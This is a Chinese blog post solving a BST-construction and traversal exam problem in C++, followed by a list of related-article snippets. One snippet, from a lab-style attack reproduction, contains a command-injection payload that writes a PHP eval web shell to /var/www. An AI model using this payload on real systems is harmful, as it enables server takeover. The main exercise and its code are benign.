[保研/考研机试] KY223 二叉排序树 华中科技大学复试上机题 C++实现

news2024/11/22 11:12:51

题目链接:

二叉排序树_牛客题霸_牛客网输入一系列整数,建立二叉排序树,并进行前序,中序,后序遍历。。题目来自【牛客题霸】https://www.nowcoder.com/share/jump/437195121692722441741

描述

输入一系列整数,建立二叉排序树,并进行前序,中序,后序遍历。

输入描述:

输入第一行包括一个整数n(1<=n<=100)。 接下来的一行包括n个整数。

输出描述:

可能有多组测试数据,对于每组数据,将题目所给数据建立一个二叉排序树,并对二叉排序树进行前序、中序和后序遍历。 每种遍历结果输出一行。每行最后一个数据之后有一个换行。 输入中可能有重复元素,但是输出的二叉树遍历序列中重复元素不用输出。

示例1:

输入:

5
1 6 5 9 8

输出:

1 6 5 9 8 
1 5 6 8 9 
5 8 9 6 1 

思路:

  1. 定义了二叉排序树节点结构 TreeNode,包含数据域 data,左子节点指针 leftChild,右子节点指针 rightChild
  2. Insert 函数用于将元素插入到二叉排序树中。根据比较大小关系,元素被插入到左子树或右子树中。
  3. PreOrder 函数实现了先序遍历,遍历顺序为:根节点 -> 左子树 -> 右子树,同时输出节点数据。
  4. InOrder 函数实现了中序遍历,遍历顺序为:左子树 -> 根节点 -> 右子树,同时输出节点数据。
  5. PostOrder 函数实现了后序遍历,遍历顺序为:左子树 -> 右子树 -> 根节点,同时输出节点数据。
  6. main 函数中,首先读取一个整数 n,表示要插入的节点个数。然后使用循环读取 n 个节点值,并调用 Insert 函数将节点插入到二叉排序树中。最后分别调用 PreOrderInOrderPostOrder 函数进行不同遍历方式,并输出遍历结果。

该代码主要实现了二叉排序树的构建以及三种不同的遍历方式:先序遍历、中序遍历和后序遍历,并输出遍历结果。

源代码:

#include<iostream>
#include<string>
using namespace std;

// 定义二叉排序树节点结构
struct TreeNode {
	int data; // 节点数据
	TreeNode* leftChild; // 左子节点指针
	TreeNode* rightChild; // 右子节点指针
	TreeNode(int x) : data(x), leftChild(NULL), rightChild(NULL) {} // 构造函数
};

// 插入元素到二叉排序树中
TreeNode* Insert(TreeNode* root, int x) {
	if (root == NULL) {
		root = new TreeNode(x); // 创建新节点
	}
	else if (x < root->data) {
		root->leftChild = Insert(root->leftChild, x); // 向左子树插入
	}
	else if (x > root->data) {
		root->rightChild = Insert(root->rightChild, x); // 向右子树插入
	}
	return root;
}

// 先序遍历
void PreOrder(TreeNode* root) {
	if (root == NULL) {
		return;
	}
	cout << root->data << " "; // 输出节点数据
	PreOrder(root->leftChild); // 递归遍历左子树
	PreOrder(root->rightChild); // 递归遍历右子树
}

// 中序遍历
void InOrder(TreeNode* root) {
	if (root == NULL) {
		return;
	}
	InOrder(root->leftChild); // 递归遍历左子树
	cout << root->data << " "; // 输出节点数据
	InOrder(root->rightChild); // 递归遍历右子树
}

// 后序遍历
void PostOrder(TreeNode* root) {
	if (root == NULL) {
		return;
	}
	PostOrder(root->leftChild); // 递归遍历左子树
	PostOrder(root->rightChild); // 递归遍历右子树
	cout << root->data << " "; // 输出节点数据
}

int main() {
	int n;
	while (cin >> n) {
		TreeNode* root = NULL; // 树的根节点
		for (int i = 0; i < n; i++) {
			int temp;
			cin >> temp; // 读取输入的节点值
			root = Insert(root, temp); // 插入节点到二叉排序树中
		}
		PreOrder(root); // 先序遍历并输出结果
		cout << endl;
		InOrder(root); // 中序遍历并输出结果
		cout << endl;
		PostOrder(root); // 后序遍历并输出结果
		cout << endl;
	}

	return 0;
}

提交结果:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/914337.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

springMVC之视图

文章目录 前言一、ThymeleafView二、转发视图三、重定向视图四、视图控制器view-controller五、补充总结 前言 SpringMVC中的视图是View接口&#xff0c;视图的作用渲染数据&#xff0c;将模型Model中的数据展示给用户。 SpringMVC视图的种类很多&#xff0c;默认有转发视图和…

原生轮播图的实现

<!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>轮播图</title><style>* {margin: 0;pad…

【网络】IP网络层和数据链路层

IP协议详解 1.概念 1.1 四层模型 应用层&#xff1a;解决如何传输数据&#xff08;依照什么格式/协议处理数据&#xff09;的问题传输层&#xff1a;解决可靠性问题网络层&#xff1a;数据往哪里传&#xff0c;怎么找到目标主机数据链路层&#xff08;物理层&#xff09;&…

C++:list使用以及模拟实现

list使用以及模拟实现 list介绍list常用接口1.构造2.迭代器3.容量4.访问数据5.增删查改6.迭代器失效 list模拟实现1.迭代器的实现2.完整代码 list介绍 list是一个类模板&#xff0c;加<类型>实例化才是具体的类。list是可以在任意位置进行插入和删除的序列式容器。list的…

MySQL不停重启问题

MySQL不停的自动杀掉自动重启 看一下log日志 my.cnf 里配置的 log_error /var/log/mysqld.log vim /var/log/mysqld.log 报的错误只是 [ERROR] Cant start server: Bind on TCP/IP port: Address already in use [ERROR] Do you already have another mysqld server …

LLMs高效的多 GPU 计算策略Efficient multi-GPU compute strategies

很有可能在某个时候&#xff0c;您需要将模型训练工作扩展到超过一个GPU。在上一个视频中&#xff0c;我强调了当您的模型变得太大而无法适应单个GPU时&#xff0c;您需要使用多GPU计算策略。但即使您的模型确实适合单个GPU&#xff0c;使用多个GPU加速训练也有好处。即使您正在…

Java 项目日志实例:综合应用

点击下方关注我&#xff0c;然后右上角点击...“设为星标”&#xff0c;就能第一时间收到更新推送啦~~~ 本文介绍 JCL(java common logging) 和 SLF4J 分别与 Log4j 结合使用的示例。 1 JCL Log4j 使用示例 1、JCL(java common logging) Log4j 介绍 使用 commons-logging 的 …

Java 实战项目-SpringBoot+Vue 的智慧养老平台,附源码、教程

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝30W,Csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 文章目录 1.研究背景2. 技术栈3.系统分析4系统设计4.1 软件功能模块设计4.2数据库设计与实现 5系统详细设计…

bode100测量频率响应的基本原理

当使用Bode 100进行频率响应测量时&#xff0c;它会同时测量幅频响应曲线和相频响应曲线。下面是对这两个曲线测量方法的进一步解释&#xff1a; 幅频响应曲线测量&#xff1a; 幅频响应曲线描述了系统在不同频率下输入信号的幅度变化。Bode 100通过以下步骤测量并绘制幅频响应…

基于Jenkins自动打包并部署Tomcat环境

目录 1、配置git主机 2、配置jenkins主机 3、配置web主机 4、新建Maven项目 5、验证 Jenkins 自动打包部署结果 Jenkins 的工作原理是先将源代码从 SVN/Git 版本控制系统中拷贝一份到本地&#xff0c;然后根据设置的脚本调用Maven进行 build&#xff08;构建&#xff09;。…

框架分析(2)-React

框架分析&#xff08;2&#xff09;-React 专栏介绍React核心思想关键特性和功能组件化开发单向数据流JSX语法强大的生态系统 优缺点分析优点缺点 专栏介绍 link 主要对目前市面上常见的框架进行分析和总结&#xff0c;希望有兴趣的小伙伴们可以看一下&#xff0c;会持续更新的…

网络:RIP协议

1. RIP协议原理介绍 RIP是一种比较简单的内部网关协议&#xff08;IGP协议&#xff09;&#xff0c;RIP基于距离矢量的贝尔曼-福特算法(Bellman - Ford)来计算到达目的网络的最佳路径。最初的RIP协议开发时间较早&#xff0c;所以在带宽、配置和管理方面的要求也较低。 路由器运…

Linux下的Shell编程——正则表达式入门(四)

前言&#xff1a; 正则表达式使用单个字符串来描述、匹配一系列符合某个语法规则的字符串。在很多文本编辑器里&#xff0c;正则表达式通常被用来检索、替换那些符合某个模式的文本。 在Linux 中&#xff0c;grep&#xff0c;sed&#xff0c;awk 等文本处理工具都支持…

一句话木马攻击复现:揭示黑客入侵的实战过程

准备环境 OWASP虚拟机xfp 7与xshell 7 ​ DVWA系统默认的账号密码均为&#xff1a;admin/admin 1、命令注入中复现 ​ 攻击payload 127.0.0.1 | echo "<?php eval(\$_POST[\"cmd\"])?>" > /var/www/shell.php 这个命令的目的是在服务器…

从一些常见的错误聊聊mysql服务端的关键配置 | 京东云技术团队

背景 每一年都进行大促前压测&#xff0c;每一次都需要再次关注到一些基础资源的使用问题&#xff0c;订单中心这边数据库比较多&#xff0c;最近频繁报数据库异常&#xff0c;所以对数据库一些配置问题也进行了研究&#xff0c;本文给出一些常见的数据库配置&#xff0c;说明…

聚类分析 | MATLAB实现GMM高斯分布混合模型的聚类结果可视化

聚类分析 | MATLAB实现GMM高斯分布混合模型的聚类结果可视化 目录 聚类分析 | MATLAB实现GMM高斯分布混合模型的聚类结果可视化效果一览基本介绍程序设计参考资料 效果一览 基本介绍 聚类分析 | MATLAB实现GMM高斯分布混合模型的聚类结果可视化&#xff0c;GMM聚类&#xff0c;…

抖音短视频矩阵系统源码开发搭建技术开源分享

前言&#xff1a;抖音矩阵号/抖音短视频SEO矩阵系统源码开发&#xff0c;优化排名。 短视频获客系统支持短视频智能剪辑、短视频定时发布&#xff0c;短视频排名查询及优化&#xff0c;智能客服等&#xff0c;那么短视频seo系统开发时需要开发哪些功能呢&#xff1f;今天我就跟…

会计资料(借贷记账法、试算平衡)

6.借贷记账法 这样的格式是会计学家提出的。 6.1 借贷记账法的详细使用 这里要把会计的六大分类搞明白&#xff0c;才能够使用借贷记账法 6.2 借贷记账法的记账规则 6.3 借贷记账法下的账户与会计分录 6.4 会计分录的介绍 这里一笔会计分录只能写一笔经济业务&#xff0c;或者…

Android 面试之Glide做了哪些优化?

前言 Glide可以说是最常用的图片加载框架了&#xff0c;Glide链式调用使用方便&#xff0c;性能上也可以满足大多数场景的使用&#xff0c;Glide源码与原理也是面试中的常客。 但是Glide的源码内容比较多&#xff0c;想要学习它的源码往往千头万绪&#xff0c;一时抓不住重点.…

1079. 活字印刷;1593. 拆分字符串使唯一子字符串的数目最大;1814. 统计一个数组中好对子的数目

1079. 活字印刷 核心思想&#xff1a;回溯法&#xff0c;其实这题就是排列组合&#xff0c;只不过这题是每一个分支都要收集一次结果&#xff0c;然后去重。这里的代码用的是标准的used标记的方法。 1593. 拆分字符串使唯一子字符串的数目最大 核心思想&#xff1a;回溯。拆分…